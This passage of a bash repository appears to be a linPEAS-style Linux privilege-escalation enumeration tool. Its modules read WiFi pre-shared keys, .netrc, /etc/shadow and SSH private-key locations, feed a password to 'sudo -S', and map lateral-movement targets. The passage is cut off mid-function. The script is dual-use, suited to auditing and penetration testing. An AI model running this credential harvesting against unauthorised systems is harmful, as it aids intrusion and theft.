echo "$authorized_keys" | wc -l | xargs -I{} print_warning " ${YELLOW}→ {} keys found${NC}" 458 | 459 | # Check permissions 460 | auth_perms=$(ls -la "$HOME/.ssh/authorized_keys" | awk '{print $1}') 461 | if [[ "$auth_perms" =~ [g|o][r|w|x] ]]; then 462 | print_critical " ${RED}→ Bad permissions on authorized_keys file: $auth_perms${NC}" 463 | fi 464 | else 465 | print_success "No SSH authorized_keys entries found" 466 | fi 467 | fi 468 | 469 | # Check for .netrc file 470 | if [ -f "$HOME/.netrc" ]; then 471 | netrc_perms=$(ls -la "$HOME/.netrc" | awk '{print $1}') 472 | 473 | print_critical "${RED}→ .netrc file found: $HOME/.netrc${NC}" 474 | print_critical " ${RED}→ This file may contain cleartext credentials for FTP/remote services${NC}" 475 | 476 | if [[ "$netrc_perms" =~ [g|o][r|w|x] ]]; then 477 | print_critical " ${RED}→ Bad permissions: $netrc_perms${NC}" 478 | fi 479 | fi 480 | 481 | # Check for WPA/WiFi credentials 482 | if [ -d "/etc/NetworkManager/system-connections" ] && [ "$IAMROOT" ]; then 483 | wifi_conns=$(find /etc/NetworkManager/system-connections -type f 2>/dev/null) 484 | 485 | if [ -n "$wifi_conns" ]; then 486 | print_warning "WiFi connection profiles found:" 487 | 488 | echo "$wifi_conns" | while read -r conn; do 489 | ssid=$(grep -i "ssid=" "$conn" 2>/dev/null | cut -d= -f2) 490 | if [ -n "$ssid" ]; then 491 | print_warning " ${YELLOW}→ $conn${NC} (SSID: $ssid)" 492 | 493 | # Look for PSK 494 | if grep -i "psk=" "$conn" 2>/dev/null; then 495 | print_critical " ${RED}→ Contains WiFi password!${NC}" 496 | fi 497 | fi 498 | done 499 | else 500 | print_success "No NetworkManager WiFi connections found" 501 | fi 502 | fi 503 | } 504 | 505 | check_potential_pivoting() { 506 | print_subtitle "Lateral Movement Potential" 507 | 508 | print_info "Checking for potential pivoting/lateral movement vectors..." 509 | 510 | # Check for hosts.equiv file 511 | if [ -f "/etc/hosts.equiv" ]; then 512 | hosts_equiv=$(cat "/etc/hosts.equiv" 2>/dev/null) 513 | 514 | if [ -n "$hosts_equiv" ]; then 515 | print_critical "${RED}hosts.equiv file found! This can allow remote logins without passwords:${NC}" 516 | 517 | echo "$hosts_equiv" | while read -r line; do 518 | print_critical " ${RED}→ $line${NC}" 519 | done 520 | fi 521 | fi 522 | 523 | # Check for .rhosts file 524 | rhosts_files=$(find / -name ".rhosts" 2>/dev/null) 525 | 526 | if [ -n "$rhosts_files" ]; then 527 | print_critical "${RED}.rhosts files found! These can allow remote logins without passwords:${NC}" 528 | 529 | echo "$rhosts_files" | while read -r file; do 530 | print_critical " ${RED}→ $file${NC}" 531 | 532 | if [ -r "$file" ]; then 533 | content=$(cat "$file" 2>/dev/null) 534 | if [ -n "$content" ]; then 535 | echo "$content" | while read -r line; do 536 | print_critical " ${RED}→ $line${NC}" 537 | done 538 | fi 539 | fi 540 | done 541 | fi 542 | 543 | # Check for obviously shared SSH keys (same key on multiple systems) 544 | if [ -d "$HOME/.ssh" ]; then 545 | # Look for comments indicating shared keys 546 | shared_comments=$(find "$HOME/.ssh" -name "id_*" -exec grep -l "shared\|deploy\|ansible\|puppet\|automation" {} \; 2>/dev/null) 547 | 548 | if [ -n "$shared_comments" ]; then 549 | print_critical "${RED}Potentially shared SSH keys found:${NC}" 550 | 551 | echo "$shared_comments" | while read -r key; do 552 | print_critical " ${RED}→ $key${NC}" 553 | grep -i "shared\|deploy\|ansible\|puppet\|automation" "$key" | while read -r line; do 554 | print_critical " ${RED}→ $line${NC}" 555 | done 556 | done 557 | fi 558 | fi 559 | 560 | # Check for pre-configured SSH hosts 561 | if [ -f "$HOME/.ssh/config" ]; then 562 | ssh_config=$(cat "$HOME/.ssh/config" 2>/dev/null) 563 | 564 | if [ -n "$ssh_config" ]; then 565 | print_warning "SSH client configuration found with potential pivot targets:" 566 | 567 | grep -i "^host " "$HOME/.ssh/config" | while read -r line; do 568 | print_warning " ${YELLOW}→ $line${NC}" 569 | done 570 | fi 571 | fi 572 | 573 | # Check for stored credentials in .ssh/known_hosts 574 | if [ -f "$HOME/.ssh/known_hosts" ]; then 575 | known_hosts_count=$(wc -l < "$HOME/.ssh/known_hosts") 576 | 577 | if [ "$known_hosts_count" -gt 0 ]; then 578 | print_warning "SSH known_hosts file contains $known_hosts_count entries" 579 | print_warning " ${YELLOW}→ These are potential lateral movement targets${NC}" 580 | 581 | # Check for non-hashed entries 582 | if grep -v "^|" "$HOME/.ssh/known_hosts" > /dev/null 2>&1; then 583 | print_critical " ${RED}→ known_hosts contains non-hashed entries that reveal hostnames/IPs${NC}" 584 | 585 | if [ "$THOROUGH" ]; then 586 | print_warning " ${YELLOW}→ Sample of reachable hosts:${NC}" 587 | grep -v "^|" "$HOME/.ssh/known_hosts" | cut -d" " -f1 | cut -d, -f1 | head -5 | while read -r host; do 588 | print_warning " ${YELLOW}→ $host${NC}" 589 | done 590 | fi 591 | fi 592 | else 593 | print_success "No SSH known_hosts entries found" 594 | fi 595 | fi 596 | } 597 | 598 | # Main function to run all network checks 599 | network_checks() { 600 | print_title "Network Information and Vulnerabilities" 601 | 602 | # Run all network security checks 603 | check_network_interfaces 604 | check_listening_ports 605 | check_iptables_rules 606 | check_network_shares 607 | check_network_credentials 608 | check_potential_pivoting 609 | 610 | # Wait for user if wait mode is enabled 611 | wait_for_user 612 | } -------------------------------------------------------------------------------- /modules/system_info/general.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: System Information 4 | # Description: Gather general system information 5 | # Author: Jonas Resch 6 | 7 | check_os_version() { 8 | print_subtitle "Operating System Information" 9 | 10 | # OS Details 11 | if [ -f /etc/os-release ]; then 12 | os_name=$(grep "^NAME=" /etc/os-release | cut -d= -f2 | tr -d '"') 13 | os_version=$(grep "^VERSION=" /etc/os-release 2>/dev/null | cut -d= -f2 | tr -d '"') 14 | os_id=$(grep "^ID=" /etc/os-release | cut -d= -f2 | tr -d '"') 15 | print_success "OS: ${os_name} ${os_version} (${os_id})" 16 | else 17 | os_info=$(uname -a) 18 | print_success "OS: ${os_info}" 19 | fi 20 | 21 | # Kernel version 22 | kernel_version=$(uname -r) 23 | print_success "Kernel version: ${kernel_version}" 24 | 25 | # Check for architecture 26 | arch=$(uname -m) 27 | print_success "Architecture: ${arch}" 28 | 29 | # Check if it's a virtual machine 30 | if [ -f /sys/class/dmi/id/product_name ] || [ -d /proc/xen ] || grep -q "^flags.*hypervisor" /proc/cpuinfo 2>/dev/null; then 31 | vm_type="Unknown" 32 | 33 | if grep -q "VMware" /sys/class/dmi/id/product_name 2>/dev/null; then 34 | vm_type="VMware" 35 | elif grep -q "VirtualBox" /sys/class/dmi/id/product_name 2>/dev/null; then 36 | vm_type="VirtualBox" 37 | elif [ -d /proc/xen ]; then 38 | vm_type="Xen" 39 | elif grep -q "QEMU" /sys/class/dmi/id/product_name 2>/dev/null; then 40 | vm_type="QEMU/KVM" 41 | elif grep -q "Microsoft" /sys/class/dmi/id/product_name 2>/dev/null; then 42 | vm_type="Hyper-V" 43 | elif dmesg | grep -q "Parallels" 2>/dev/null; then 44 | vm_type="Parallels" 45 | fi 46 | 47 | print_warning "Running in a virtual environment: ${vm_type}" 48 | else 49 | print_success "Running on physical hardware" 50 | fi 51 | 52 | # WSL detection 53 | if grep -q Microsoft /proc/version 2>/dev/null; then 54 | print_warning "Running in Windows Subsystem for Linux (WSL)" 55 | fi 56 | 57 | # Check for container 58 | if [ -f /.dockerenv ] || grep -q "docker\|lxc" /proc/1/cgroup 2>/dev/null; then 59 | print_warning "Running inside a container" 60 | fi 61 | } 62 | 63 | check_hardware_info() { 64 | print_subtitle "Hardware Information" 65 | 66 | # CPU info 67 | cpu_model=$(grep "model name" /proc/cpuinfo 2>/dev/null | head -n1 | cut -d: -f2 | xargs) 68 | cpu_cores=$(grep -c "processor" /proc/cpuinfo 2>/dev/null) 69 | if [ -n "$cpu_model" ]; then 70 | print_success "CPU: ${cpu_model} (${cpu_cores} cores)" 71 | else 72 | print_success "CPU Cores: ${cpu_cores}" 73 | fi 74 | 75 | # Memory info 76 | if [ -f /proc/meminfo ]; then 77 | total_mem=$(grep "MemTotal" /proc/meminfo | awk '{print $2}') 78 | total_mem_mb=$(($total_mem / 1024)) 79 | free_mem=$(grep "MemFree" /proc/meminfo | awk '{print $2}') 80 | free_mem_mb=$(($free_mem / 1024)) 81 | used_mem_mb=$(($total_mem_mb - $free_mem_mb)) 82 | used_percent=$((($used_mem_mb * 100) / $total_mem_mb)) 83 | 84 | print_success "Memory: ${used_mem_mb}MB / ${total_mem_mb}MB (${used_percent}% used)" 85 | fi 86 | 87 | # Swap info 88 | if [ -f /proc/meminfo ]; then 89 | total_swap=$(grep "SwapTotal" /proc/meminfo | awk '{print $2}') 90 | if [ "$total_swap" -gt 0 ]; then 91 | total_swap_mb=$(($total_swap / 1024)) 92 | free_swap=$(grep "SwapFree" /proc/meminfo | awk '{print $2}') 93 | free_swap_mb=$(($free_swap / 1024)) 94 | used_swap_mb=$(($total_swap_mb - $free_swap_mb)) 95 | used_swap_percent=$((($used_swap_mb * 100) / $total_swap_mb)) 96 | 97 | print_success "Swap: ${used_swap_mb}MB / ${total_swap_mb}MB (${used_swap_percent}% used)" 98 | else 99 | print_warning "No swap configured" 100 | fi 101 | fi 102 | } 103 | 104 | check_filesystem_info() { 105 | print_subtitle "File System Information" 106 | 107 | # Mount points 108 | print_info "Mount Points:" 109 | mount_output=$(mount -t ext2,ext3,ext4,xfs,btrfs,vfat,ntfs,fuseblk 2>/dev/null | grep -v "snap" | sort) 110 | if [ -n "$mount_output" ]; then 111 | echo "$mount_output" | while read -r line; do 112 | device=$(echo "$line" | awk '{print $1}') 113 | mountpoint=$(echo "$line" | awk '{print $3}') 114 | fs_type=$(echo "$line" | awk '{print $5}') 115 | options=$(echo "$line" | grep -oP 'type \K\S+' | tr ',' ' ') 116 | 117 | # Check if the filesystem is mounted with noexec, nosuid, or nodev 118 | if echo "$options" | grep -q "noexec"; then 119 | print_success " ${CYAN}${mountpoint}${NC} [${fs_type}] on ${device} (${YELLOW}noexec${NC})" 120 | elif echo "$options" | grep -q "nosuid"; then 121 | print_success " ${CYAN}${mountpoint}${NC} [${fs_type}] on ${device} (${YELLOW}nosuid${NC})" 122 | else 123 | print_success " ${CYAN}${mountpoint}${NC} [${fs_type}] on ${device}" 124 | fi 125 | done 126 | else 127 | print_not_found "No common filesystems mounted" 128 | fi 129 | 130 | # Disk usage 131 | print_info "Disk Usage:" 132 | disk_info=$(df -h -t ext2 -t ext3 -t ext4 -t xfs -t vfat -t ntfs -t btrfs 2>/dev/null | grep -v "snap" | grep -v "Filesystem" | sort) 133 | 134 | if [ -n "$disk_info" ]; then 135 | echo "$disk_info" | while read -r line; do 136 | filesystem=$(echo "$line" | awk '{print $1}') 137 | size=$(echo "$line" | awk '{print $2}') 138 | used=$(echo "$line" | awk '{print $3}') 139 | avail=$(echo "$line" | awk '{print $4}') 140 | use_percent=$(echo "$line" | awk '{print $5}') 141 | mountpoint=$(echo "$line" | awk '{print $6}') 142 | 143 | # Highlight high disk usage 144 | if [[ "${use_percent}" =~ [8-9][0-9]% ]] || [[ "${use_percent}" =~ 100% ]]; then 145 | print_warning " ${CYAN}${mountpoint}${NC}: ${RED}${use_percent}${NC} used (${used}/${size}, ${avail} free)" 146 | else 147 | print_success " ${CYAN}${mountpoint}${NC}: ${use_percent} used (${used}/${size}, ${avail} free)" 148 | fi 149 | done 150 | else 151 | print_not_found "No disk usage information available" 152 | fi 153 | } 154 | 155 | check_kernel_modules() { 156 | print_subtitle "Kernel Modules" 157 | 158 | # List kernel modules that could potentially be exploitable 159 | interesting_modules=("bluetooth" "usb_storage" "thunderbolt" "firewire" "bcm" "rtl" "nvidia") 160 | 161 | for module in "${interesting_modules[@]}"; do 162 | module_info=$(lsmod 2>/dev/null | grep "$module") 163 | if [ -n "$module_info" ]; then 164 | print_warning "Potentially interesting module loaded: $module_info" 165 | fi 166 | done 167 | 168 | # Check for unsigned kernel modules if secure boot is enabled 169 | if [ -d /sys/firmware/efi ]; then 170 | secure_boot=$(mokutil --sb-state 2>/dev/null | grep "SecureBoot" | awk '{print $2}') 171 | if [ "$secure_boot" = "enabled" ]; then 172 | unsigned_modules=$(dmesg 2>/dev/null | grep "signature" | grep -i "required" | grep -i "module" | grep -v "OK") 173 | if [ -n "$unsigned_modules" ]; then 174 | print_warning "Unsigned kernel modules with Secure Boot enabled:" 175 | echo "$unsigned_modules" 176 | fi 177 | fi 178 | fi 179 | 180 | # List loaded third-party modules 181 | third_party_modules=$(lsmod 2>/dev/null | grep -v "kernel" | grep -v "live" | head -n 10) 182 | if [ -n "$third_party_modules" ]; then 183 | print_info "Top 10 third-party kernel modules:" 184 | echo "$third_party_modules" | while read -r line; do 185 | print_success " $line" 186 | done 187 | fi 188 | } 189 | 190 | check_system_startup() { 191 | print_subtitle "System Startup Information" 192 | 193 | # Uptime 194 | uptime_output=$(uptime) 195 | print_success "Uptime: $uptime_output" 196 | 197 | # Init system type 198 | if [ -f /proc/1/comm ]; then 199 | init_system=$(cat /proc/1/comm) 200 | print_success "Init system: $init_system" 201 | else 202 | # Fallback method 203 | if command_exists systemctl; then 204 | print_success "Init system: systemd" 205 | elif command_exists initctl; then 206 | print_success "Init system: Upstart" 207 | elif [ -f /etc/init.d/rc ]; then 208 | print_success "Init system: SysVinit" 209 | else 210 | print_warning "Init system: Unknown" 211 | fi 212 | fi 213 | 214 | # Last boot time 215 | last_boot=$(who -b 2>/dev/null | awk '{print $3, $4}') 216 | if [ -n "$last_boot" ]; then 217 | print_success "Last boot: $last_boot" 218 | fi 219 | 220 | # Boot parameters that might be exploitable 221 | if [ -f /proc/cmdline ]; then 222 | cmdline=$(cat /proc/cmdline) 223 | print_info "Boot parameters:" 224 | print_success " $cmdline" 225 | 226 | # Check for potentially insecure boot parameters 227 | if echo "$cmdline" | grep -q "init="; then 228 | print_warning "Custom init process specified in boot parameters" 229 | fi 230 | if echo "$cmdline" | grep -q "nokaslr"; then 231 | print_warning "KASLR is disabled (nokaslr)" 232 | fi 233 | if echo "$cmdline" | grep -q "nosuid"; then 234 | print_warning "SUID binaries disabled globally (nosuid)" 235 | fi 236 | if echo "$cmdline" | grep -q "nosmep"; then 237 | print_warning "SMEP is disabled (nosmep)" 238 | fi 239 | if echo "$cmdline" | grep -q "nopti"; then 240 | print_warning "Kernel Page Table Isolation is disabled (nopti)" 241 | fi 242 | if echo "$cmdline" | grep -q "quiet"; then 243 | print_warning "Kernel is booted in quiet mode (quiet)" 244 | fi 245 | fi 246 | } 247 | 248 | check_system_security() { 249 | print_subtitle "System Security Features" 250 | 251 | # SELinux status 252 | if command_exists sestatus; then 253 | selinux_status=$(sestatus 2>/dev/null | grep "SELinux status" | awk '{print $3}') 254 | if [ "$selinux_status" = "enabled" ]; then 255 | selinux_mode=$(sestatus 2>/dev/null | grep "Current mode" | awk '{print $3}') 256 | print_success "SELinux: ${selinux_status} (${selinux_mode})" 257 | else 258 | print_warning "SELinux: ${selinux_status}" 259 | fi 260 | elif [ -f /etc/selinux/config ]; then 261 | selinux_config=$(grep "^SELINUX=" /etc/selinux/config | cut -d= -f2) 262 | print_warning "SELinux: ${selinux_config} (from config file)" 263 | else 264 | print_warning "SELinux: Not installed" 265 | fi 266 | 267 | # AppArmor status 268 | if command_exists aa-status; then 269 | apparmor_status=$(aa-status 2>&1 | grep -i "apparmor") 270 | if echo "$apparmor_status" | grep -q -i "enabled"; then 271 | print_success "AppArmor: Enabled" 272 | else 273 | print_warning "AppArmor: Disabled or not properly configured" 274 | fi 275 | elif [ -d /etc/apparmor.d ]; then 276 | print_warning "AppArmor: Config files exist but status cannot be determined" 277 | else 278 | print_warning "AppArmor: Not installed" 279 | fi 280 | 281 | # ASLR (Address Space Layout Randomization) 282 | if [ -f /proc/sys/kernel/randomize_va_space ]; then 283 | aslr_status=$(cat /proc/sys/kernel/randomize_va_space) 284 | case "$aslr_status" in 285 | 0) print_critical "ASLR: Disabled (0)" ;; 286 | 1) print_warning "ASLR: Partial - shared libraries randomization only (1)" ;; 287 | 2) print_success "ASLR: Full randomization (2)" ;; 288 | *) print_warning "ASLR: Unknown status (${aslr_status})" ;; 289 | esac 290 | else 291 | print_warning "ASLR: Status cannot be determined" 292 | fi 293 | 294 | # Check if ptrace protection is enabled 295 | if [ -f /proc/sys/kernel/yama/ptrace_scope ]; then 296 | ptrace_scope=$(cat /proc/sys/kernel/yama/ptrace_scope) 297 | case "$ptrace_scope" in 298 | 0) print_critical "Ptrace protection: Disabled (0)" ;; 299 | 1) print_success "Ptrace protection: Restricted (1)" ;; 300 | 2) print_success "Ptrace protection: Admin-only (2)" ;; 301 | 3) print_success "Ptrace protection: No ptrace (3)" ;; 302 | *) print_warning "Ptrace protection: Unknown status (${ptrace_scope})" ;; 303 | esac 304 | else 305 | print_warning "Ptrace protection: Not available" 306 | fi 307 | 308 | # Check if Exec Shield is enabled 309 | if [ -f /proc/sys/kernel/exec-shield ]; then 310 | exec_shield=$(cat /proc/sys/kernel/exec-shield) 311 | if [ "$exec_shield" -eq 1 ]; then 312 | print_success "Exec Shield: Enabled" 313 | else 314 | print_warning "Exec Shield: Disabled" 315 | fi 316 | fi 317 | 318 | # Check if the system has NX/DEP protection 319 | nx_dep=$(grep -i "nx\|pae" /proc/cpuinfo 2>/dev/null | sort -u) 320 | if [ -n "$nx_dep" ]; then 321 | print_success "NX/DEP: CPU supports NX/DEP protection" 322 | else 323 | print_warning "NX/DEP: CPU may not support NX/DEP protection" 324 | fi 325 | } 326 | 327 | # Main function to run all system info checks 328 | system_info_checks() { 329 | print_title "System Information" 330 | 331 | # Run all system information checks 332 | check_os_version 333 | check_hardware_info 334 | check_filesystem_info 335 | check_kernel_modules 336 | check_system_startup 337 | check_system_security 338 | 339 | # Wait for user if wait mode is enabled 340 | wait_for_user 341 | } -------------------------------------------------------------------------------- /modules/user_info/users.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: User Information 4 | # Description: Check users, their permissions, and related security 5 | # Author: Jonas Resch 6 | 7 | check_current_user() { 8 | print_subtitle "Current User Information" 9 | 10 | # Basic info about current user 11 | current_user=$(whoami 2>/dev/null) 12 | current_uid=$(id -u 2>/dev/null) 13 | current_gid=$(id -g 2>/dev/null) 14 | 15 | print_success "Current user: ${current_user} (UID: ${current_uid}, GID: ${current_gid})" 16 | 17 | # Check if we're root 18 | if [ "$IAMROOT" ]; then 19 | print_warning "You are running as root! No privilege escalation needed." 20 | fi 21 | 22 | # Groups for current user 23 | user_groups=$(id -G 2>/dev/null) 24 | user_groups_names=$(id -Gn 2>/dev/null) 25 | 26 | if [ -n "$user_groups_names" ]; then 27 | print_success "Groups: ${user_groups_names} (IDs: ${user_groups})" 28 | 29 | # Check if user is in interesting groups 30 | interesting_groups=("sudo" "admin" "wheel" "video" "docker" "lxd" "adm" "shadow" "disk" "root") 31 | 32 | for group in "${interesting_groups[@]}"; do 33 | if id -Gn 2>/dev/null | grep -qw "$group"; then 34 | print_critical "User is a member of the high-privilege '${group}' group!" 35 | fi 36 | done 37 | fi 38 | 39 | # Environment variables 40 | print_info "Environment Variables:" 41 | env_vars=$(env 2>/dev/null | grep -v "LS_COLORS" | sort) 42 | 43 | if [ -n "$env_vars" ]; then 44 | # Look for potentially interesting vars (password, token, key, etc.) 45 | sensitive_env=$(echo "$env_vars" | grep -i "key\|token\|pass\|secret\|cred\|auth" 2>/dev/null) 46 | 47 | if [ -n "$sensitive_env" ]; then 48 | print_warning "Potentially sensitive environment variables:" 49 | echo "$sensitive_env" | while read -r line; do 50 | print_warning " $line" 51 | done 52 | fi 53 | 54 | # Path variable (could be used for hijacking) 55 | path_var=$(echo "$env_vars" | grep "^PATH=" 2>/dev/null) 56 | if [ -n "$path_var" ]; then 57 | print_success "Path: $path_var" 58 | 59 | # Look for writable directories in PATH 60 | path_dirs=$(echo "$path_var" | sed 's/PATH=//g' | tr ':' '\n') 61 | 62 | echo "$path_dirs" | while read -r directory; do 63 | if [ -n "$directory" ] && [ -w "$directory" ]; then 64 | print_critical "Writable directory in PATH: $directory" 65 | elif [ -n "$directory" ] && [ ! -d "$directory" ]; then 66 | print_warning "Non-existent directory in PATH: $directory" 67 | fi 68 | done 69 | fi 70 | else 71 | print_not_found "No environment variables found" 72 | fi 73 | 74 | # Check sudo permissions 75 | print_info "Sudo access:" 76 | 77 | # Check if we have a password 78 | if [ -n "$PASSWORD" ]; then 79 | sudo_output=$(echo "$PASSWORD" | timeout 1 sudo -S -l 2>/dev/null) 80 | sudo_exit_code=$? 81 | 82 | if [ $sudo_exit_code -eq 0 ]; then 83 | # Remove password prompt from output 84 | sudo_output=$(echo "$sudo_output" | grep -v "password for") 85 | print_critical "User has sudo privileges! Sudo permissions:" 86 | echo "$sudo_output" | sed 's/^/ /' 87 | elif [ $sudo_exit_code -eq 1 ]; then 88 | print_warning "Incorrect sudo password provided" 89 | else 90 | print_success "User does not have sudo access (or requires a different password)" 91 | fi 92 | else 93 | # Try sudo without password 94 | sudo_nopass=$(sudo -l -n 2>/dev/null) 95 | sudo_nopass_exit=$? 96 | 97 | if [ $sudo_nopass_exit -eq 0 ]; then 98 | print_critical "User has sudo privileges without password! Sudo permissions:" 99 | echo "$sudo_nopass" | sed 's/^/ /' 100 | else 101 | print_success "User does not have passwordless sudo access" 102 | fi 103 | fi 104 | } 105 | 106 | check_all_users() { 107 | print_subtitle "All Users Information" 108 | 109 | # Get all users 110 | print_info "Users with console:" 111 | users_consoles=$(cat /etc/passwd 2>/dev/null | grep -v "^#" | grep -v "nologin\|false" | sort) 112 | 113 | if [ -n "$users_consoles" ]; then 114 | echo "$users_consoles" | while read -r user_line; do 115 | user_name=$(echo "$user_line" | cut -d: -f1) 116 | user_uid=$(echo "$user_line" | cut -d: -f3) 117 | user_gid=$(echo "$user_line" | cut -d: -f4) 118 | user_info=$(echo "$user_line" | cut -d: -f5) 119 | user_home=$(echo "$user_line" | cut -d: -f6) 120 | user_shell=$(echo "$user_line" | cut -d: -f7) 121 | 122 | # Highlight root accounts and service accounts 123 | if [ "$user_uid" -eq 0 ]; then 124 | print_critical " ${RED}${user_name}${NC} [UID: ${user_uid}] [GID: ${user_gid}] [Home: ${user_home}] [Shell: ${user_shell}]" 125 | elif [ "$user_uid" -lt 1000 ] && [ "$user_uid" -gt 0 ]; then 126 | print_success " ${YELLOW}${user_name}${NC} [UID: ${user_uid}] [GID: ${user_gid}] [Home: ${user_home}] [Shell: ${user_shell}]" 127 | else 128 | print_success " ${GREEN}${user_name}${NC} [UID: ${user_uid}] [GID: ${user_gid}] [Home: ${user_home}] [Shell: ${user_shell}]" 129 | fi 130 | done 131 | else 132 | print_not_found "No users with console found" 133 | fi 134 | 135 | # Users currently logged in 136 | print_info "Currently logged-in users:" 137 | current_logins=$(who 2>/dev/null) 138 | 139 | if [ -n "$current_logins" ]; then 140 | echo "$current_logins" | while read -r line; do 141 | print_success " $line" 142 | done 143 | else 144 | print_not_found "No currently logged-in users found" 145 | fi 146 | 147 | # Last logins 148 | print_info "Last logins:" 149 | last_logins=$(last -a 2>/dev/null | head -n 10) 150 | 151 | if [ -n "$last_logins" ]; then 152 | echo "$last_logins" | while read -r line; do 153 | print_success " $line" 154 | done 155 | else 156 | print_not_found "No login history found" 157 | fi 158 | } 159 | 160 | check_user_directories() { 161 | print_subtitle "User Directories and Permissions" 162 | 163 | # Check home directories 164 | print_info "Readable home directories:" 165 | 166 | for home_dir in /home/*; do 167 | if [ -d "$home_dir" ]; then 168 | user=$(basename "$home_dir") 169 | 170 | if [ -r "$home_dir" ]; then 171 | if [ -w "$home_dir" ]; then 172 | print_critical " ${RED}${user}${NC} [${home_dir}] - Directory is readable and writable!" 173 | else 174 | print_warning " ${YELLOW}${user}${NC} [${home_dir}] - Directory is readable" 175 | fi 176 | 177 | # Check for interesting files 178 | if [ "$THOROUGH" ]; then 179 | print_info " Interesting files in ${user}'s home directory:" 180 | 181 | # SSH keys 182 | ssh_dir="$home_dir/.ssh" 183 | if [ -r "$ssh_dir" ]; then 184 | if [ -f "$ssh_dir/id_rsa" ]; then 185 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_rsa" 186 | fi 187 | if [ -f "$ssh_dir/id_dsa" ]; then 188 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_dsa" 189 | fi 190 | if [ -f "$ssh_dir/id_ecdsa" ]; then 191 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_ecdsa" 192 | fi 193 | if [ -f "$ssh_dir/id_ed25519" ]; then 194 | print_critical " ${RED}Found SSH private key:${NC} $ssh_dir/id_ed25519" 195 | fi 196 | if [ -f "$ssh_dir/authorized_keys" ]; then 197 | print_warning " ${YELLOW}Found SSH authorized_keys:${NC} $ssh_dir/authorized_keys" 198 | fi 199 | fi 200 | 201 | # History files 202 | for history_file in ".bash_history" ".zsh_history" ".mysql_history" ".python_history" ".psql_history" ".viminfo"; do 203 | if [ -r "$home_dir/$history_file" ]; then 204 | print_warning " ${YELLOW}Found history file:${NC} $home_dir/$history_file" 205 | fi 206 | done 207 | 208 | # Config files 209 | for config_file in ".bashrc" ".bash_profile" ".profile" ".zshrc" ".zhsenv" ".vimrc" ".gitconfig"; do 210 | if [ -r "$home_dir/$config_file" ]; then 211 | print_warning " ${BLUE}Found config file:${NC} $home_dir/$config_file" 212 | fi 213 | done 214 | fi 215 | fi 216 | fi 217 | done 218 | 219 | # Check mail directories 220 | if [ -d "/var/mail" ]; then 221 | print_info "Readable mail directories:" 222 | 223 | if [ -r "/var/mail" ]; then 224 | if [ -w "/var/mail" ]; then 225 | print_critical " /var/mail directory is readable and writable!" 226 | else 227 | print_warning " /var/mail directory is readable" 228 | fi 229 | 230 | for mail_file in /var/mail/*; do 231 | if [ -f "$mail_file" ]; then 232 | user=$(basename "$mail_file") 233 | 234 | if [ -r "$mail_file" ]; then 235 | if [ -w "$mail_file" ]; then 236 | print_critical " ${RED}${user}${NC} mail file is readable and writable!" 237 | else 238 | print_warning " ${YELLOW}${user}${NC} mail file is readable" 239 | fi 240 | fi 241 | fi 242 | done 243 | fi 244 | fi 245 | } 246 | 247 | check_password_policy() { 248 | print_subtitle "Password Policy" 249 | 250 | # Check for password aging 251 | print_info "Password aging policy:" 252 | 253 | if [ -f /etc/login.defs ]; then 254 | pass_max_days=$(grep "^PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}') 255 | pass_min_days=$(grep "^PASS_MIN_DAYS" /etc/login.defs | awk '{print $2}') 256 | pass_warn_age=$(grep "^PASS_WARN_AGE" /etc/login.defs | awk '{print $2}') 257 | 258 | if [ -n "$pass_max_days" ]; then 259 | if [ "$pass_max_days" -gt 90 ]; then 260 | print_warning " Maximum password age: ${YELLOW}${pass_max_days}${NC} days (should be 90 or less)" 261 | else 262 | print_success " Maximum password age: ${pass_max_days} days" 263 | fi 264 | fi 265 | 266 | if [ -n "$pass_min_days" ]; then 267 | if [ "$pass_min_days" -eq 0 ]; then 268 | print_warning " Minimum password age: ${YELLOW}${pass_min_days}${NC} days (should be greater than 0)" 269 | else 270 | print_success " Minimum password age: ${pass_min_days} days" 271 | fi 272 | fi 273 | 274 | if [ -n "$pass_warn_age" ]; then 275 | if [ "$pass_warn_age" -lt 7 ]; then 276 | print_warning " Password warning age: ${YELLOW}${pass_warn_age}${NC} days (should be 7 or more)" 277 | else 278 | print_success " Password warning age: ${pass_warn_age} days" 279 | fi 280 | fi 281 | else 282 | print_not_found "Password policy file not found" 283 | fi 284 | 285 | # Check for PAM password complexity 286 | print_info "Password complexity requirements:" 287 | 288 | if [ -f /etc/pam.d/common-password ]; then 289 | password_pam=$(grep -v '^#' /etc/pam.d/common-password) 290 | 291 | if echo "$password_pam" | grep -q "pam_pwquality.so\|pam_cracklib.so"; then 292 | print_success " Password complexity is enforced via PAM" 293 | 294 | # Check minimum length 295 | min_length=$(echo "$password_pam" | grep -o "minlen=[0-9]*" | cut -d= -f2) 296 | if [ -n "$min_length" ]; then 297 | if [ "$min_length" -lt 8 ]; then 298 | print_warning " Minimum password length: ${YELLOW}${min_length}${NC} (should be 8 or more)" 299 | else 300 | print_success " Minimum password length: ${min_length}" 301 | fi 302 | fi 303 | 304 | # Check if dictionary words are rejected 305 | if echo "$password_pam" | grep -q "reject_username\|dictcheck"; then 306 | print_success " Dictionary words and usernames are rejected" 307 | else 308 | print_warning " No explicit check for dictionary words" 309 | fi 310 | else 311 | print_warning " No password complexity requirements found" 312 | fi 313 | else 314 | print_not_found "PAM password configuration not found" 315 | fi 316 | 317 | # Check for accounts with empty passwords 318 | print_info "Accounts with empty passwords:" 319 | 320 | if [ -f /etc/shadow ]; then 321 | empty_passwords=$(grep -v ':\*:\|:!:' /etc/shadow | grep '::' 2>/dev/null) 322 | 323 | if [ -n "$empty_passwords" ]; then 324 | print_critical " Accounts with empty passwords found:" 325 | echo "$empty_passwords" | while read -r line; do 326 | user=$(echo "$line" | cut -d: -f1) 327 | print_critical " ${RED}${user}${NC} has no password set!" 328 | done 329 | else 330 | print_success " No accounts with empty passwords" 331 | fi 332 | else 333 | print_warning " Cannot read shadow file to check for empty passwords" 334 | fi 335 | } 336 | 337 | check_sudo_permissions() { 338 | print_subtitle "Sudo Configuration" 339 | 340 | # Check if we have a custom sudoers file 341 | print_info "Custom sudoers files:" 342 | 343 | if [ -d /etc/sudoers.d ]; then 344 | custom_sudoers=$(ls -la /etc/sudoers.d/ 2>/dev/null) 345 | 346 | if [ -n "$custom_sudoers" ]; then 347 | echo "$custom_sudoers" | while read -r line; do 348 | 